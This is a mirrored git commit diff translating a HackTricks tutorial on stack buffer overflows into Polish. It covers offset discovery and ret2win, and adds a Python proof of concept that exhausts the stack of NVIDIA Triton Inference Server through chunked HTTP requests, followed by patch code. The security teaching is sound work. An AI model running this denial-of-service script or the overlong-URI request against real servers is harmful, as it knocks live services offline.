mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to pl
This commit is contained in:
parent
2ca623ee3e
commit
84fd05fdd3
@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
|
||||
|
||||
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Brujna.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako ciągła podsekwencja.
|
||||
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Brujna.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencjach o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako ciągła podsekwencja.
|
||||
|
||||
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisanie.
|
||||
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie.
|
||||
|
||||
Można użyć **pwntools** do tego:
|
||||
```python
|
||||
@ -53,7 +53,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||||
Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
|
||||
|
||||
Jednak w innych scenariuszach może być wystarczające jedynie **nadpisanie niektórych wartości zmiennych w stosie** (jak w łatwych wyzwaniach CTF).
|
||||
Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
@ -105,7 +105,7 @@ char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`).
|
||||
1. Pierwsza konwersja (`%2s`) bezpiecznie przechowuje **dwa** bajty w `version` (np. `"v1"`).
|
||||
2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**.
|
||||
3. Ponieważ `endpoint` znajduje się na **stosie** i ma **0x800 bajtów długości**, podanie ścieżki dłuższej niż 0x800 bajtów psuje wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **zapisany adres powrotu**.
|
||||
|
||||
@ -116,12 +116,71 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Nawet jeśli kanarki stosu przerywają proces, atakujący nadal zyskuje prymityw **Denial-of-Service** (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta:
|
||||
Nawet jeśli stack canaries przerywają proces, atakujący nadal zyskuje prymityw **Denial-of-Service** (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta:
|
||||
|
||||
* Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`).
|
||||
* Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`.
|
||||
|
||||
## References
|
||||
### Przykład z rzeczywistego świata: CVE-2025-23310 i CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA Triton Inference Server (≤ v25.06) zawierał wiele **przepełnień stosu** dostępnych przez swoje API HTTP. Wrażliwy wzór pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
/* allocates 16 * n bytes on the stack */
|
||||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą aktualne ciało żądania HTTP.
|
||||
2. Każdy segment powoduje przydzielenie **16-bajtowego** `evbuffer_iovec` na **stosie** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**.
|
||||
3. Wykorzystując **HTTP _chunked transfer-encoding_**, klient może wymusić podział żądania na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stos zostanie wyczerpany.
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
|
||||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||
s = socket.create_connection((host, port))
|
||||
s.sendall((
|
||||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||
f"Host: {host}:{port}\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"Inference-Header-Content-Length: 0\r\n"
|
||||
"Transfer-Encoding: chunked\r\n"
|
||||
"Connection: close\r\n\r\n"
|
||||
).encode())
|
||||
|
||||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||
s.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.
|
||||
|
||||
#### Patch & Mitigation
|
||||
Wydanie 25.07 zastępuje niebezpieczne przydzielanie stosu **wektorem `std::vector` opartym na stercie** i elegancko obsługuje `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
v_vec = std::vector<evbuffer_iovec>(n);
|
||||
} catch (const std::bad_alloc &e) {
|
||||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lekcje wyniesione:
|
||||
* Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego.
|
||||
* Żądania podzielone na kawałki mogą drastycznie zmienić kształt buforów po stronie serwera.
|
||||
* Waliduj / ogranicz wszelkie wartości pochodzące z wejścia klienta *przed* ich użyciem w alokacjach pamięci.
|
||||
|
||||
## Odniesienia
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user